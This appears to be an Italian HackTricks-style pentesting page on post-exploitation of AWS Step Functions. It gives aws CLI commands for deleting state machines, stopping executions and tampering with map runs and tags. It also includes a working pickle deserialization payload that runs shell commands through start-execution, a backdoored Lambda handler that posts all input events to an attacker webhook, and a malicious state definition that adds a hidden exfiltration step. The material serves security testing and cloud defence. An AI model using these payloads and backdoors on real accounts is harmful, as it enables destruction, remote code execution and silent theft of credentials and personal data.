# AWS - Step Functions Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## Step Functions

Per maggiori informazioni su questo servizio AWS, consulta:

{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}

### `states:RevealSecrets`

Questa autorizzazione permette di **rivelare i dati segreti all'interno di un'esecuzione**. Per farlo è necessario impostare Inspection level su TRACE e il parametro revealSecrets su true.

<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>

### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`

Un attacker con queste autorizzazioni potrebbe eliminare permanentemente le state machine, le loro versioni e gli alias. Questo può interrompere workflow critici, causare perdita di dati e richiedere un tempo significativo per recuperare e ripristinare le state machine interessate. Inoltre, consentirebbe all'attacker di cancellare le tracce utilizzate, ostacolare le indagini forensi e potenzialmente paralizzare le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato.

> [!NOTE]
>
> - Eliminando una state machine elimini anche tutte le sue versioni e alias associati.
> - Eliminando un alias di state machine non elimini le versioni della state machine che fanno riferimento a questo alias.
> - Non è possibile eliminare una versione di state machine attualmente referenziata da uno o più alias.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
```
- **Impatto potenziale**: Interruzione di workflow critici, perdita di dati e downtime operativo.

### `states:UpdateMapRun`

Un attacker con questo permesso potrebbe manipolare la Map Run failure configuration e la parallel setting, potendo aumentare o diminuire il numero massimo di child workflow executions consentite, influenzando direttamente le performance del servizio. Inoltre, un attacker potrebbe manomettere la tolerated failure percentage e il count, riducendo questo valore a 0 in modo che ogni volta che un item fallisce, l'intero map run fallirebbe, influenzando direttamente la state machine execution e potenzialmente interrompendo workflow critici.
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
- **Potenziale impatto**: Degradazione delle prestazioni e interruzione di flussi di lavoro critici.

### `states:StopExecution`

Un attacker con questa autorizzazione potrebbe essere in grado di interrompere l'esecuzione di qualsiasi state machine, interrompendo flussi di lavoro e processi in corso. Questo potrebbe portare a transazioni incomplete, blocco delle operazioni aziendali e potenziale corruzione dei dati.

> [!WARNING]
> Questa azione non è supportata da **express state machines**.
```bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
```
- **Impatto potenziale**: Interruzione dei flussi di lavoro in corso, downtime operativo e possibile corruzione dei dati.

### `states:TagResource`, `states:UntagResource`

Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse di Step Functions, compromettendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le policy di controllo degli accessi basate sui tag.
```bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**Impatto Potenziale**: Interruzione dell'allocazione dei costi, del monitoraggio delle risorse e delle policy di controllo degli accessi basate sui tag.

---

### `states:StartExecution` -> Input Injection Into Dangerous Sinks

`states:StartExecution` è un punto di ingresso del data-plane. Se una state machine inoltra input controllati dall'attaccante a un task che contiene un dangerous sink (per esempio una Lambda che fa `pickle.loads(base64.b64decode(payload_b64))`), a volte puoi trasformare **StartExecution** in **code execution** e **secret exfiltration** tramite l'output dell'esecuzione, senza alcuna autorizzazione per aggiornare la state machine.

#### Scopri il workflow e la Lambda invocata

Se disponi di `states:List*` / `states:Describe*`, puoi enumerare e leggere la definizione della state machine:
```bash
REGION=us-east-1
SM_ARN="<state_machine_arn>"

aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
```
Se hai anche `lambda:GetFunction`, puoi scaricare il bundle del codice Lambda per capire come viene elaborato l'input (e confermare se esiste unsafe deserialization):
```bash
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
```
#### Esempio: pickle creato nell'input di esecuzione (Python)

Se la Lambda unpickles dati controllati dall'attaccante, un pickle malevolo può eseguire codice durante la deserializzazione. Esempio di payload che valuta un'espressione Python nel runtime della Lambda:
```bash
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle

class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))

print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"

EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
```
**Impatto**: Qualsiasi permesso che il task role ha (Secrets Manager reads, S3 writes, KMS decrypt, etc.) può diventare accessibile tramite input appositamente costruito, e il risultato può essere restituito nell'output di esecuzione di Step Functions.

### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`

Un attaccante che compromette un utente o role con le seguenti autorizzazioni:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...può condurre un **high-impact and stealthy post-exploitation attack** combinando Lambda backdooring con la manipolazione della logica di Step Function.

Questo scenario presuppone che la vittima utilizzi **AWS Step Functions per orchestrare workflow che elaborano input sensibili**, come credenziali, token o PII.

Esempio di invocazione della vittima:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
Se la Step Function è configurata per invocare una Lambda come `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**:

---

####  Aggiornata la lambda function

L'attacker modifica il codice della Lambda function già utilizzata dalla Step Function (`LegitBusinessLogic`) per exfiltrate silenziosamente i dati di input.
```python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
```

```bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---

#### Aggiungi uno Stato Malevolo alla Step Function

In alternativa, l'attaccante può iniettare uno **exfiltration state** all'inizio del flusso di lavoro aggiornando la definizione della Step Function.
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

```

```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
L'attaccante può essere ancora più furtivo aggiornando la definizione dello state in questo modo
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
dove la vittima non si accorgerà della differenza

---

### Configurazione della vittima (Context for Exploit)

- A Step Function (`LegitStateMachine`) è usata per processare input utente sensibili.
- Chiama una o più funzioni Lambda come `LegitBusinessLogic`.

---

**Impatto Potenziale**:
- Exfiltration silenziosa di dati sensibili inclusi secrets, credentials, API keys e PII.
- Nessun errore visibile o malfunzionamento nell'esecuzione del workflow.
- Difficile da rilevare senza audit del codice Lambda o delle execution traces.
- Consente persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL.


{{#include ../../../../banners/hacktricks-training.md}}
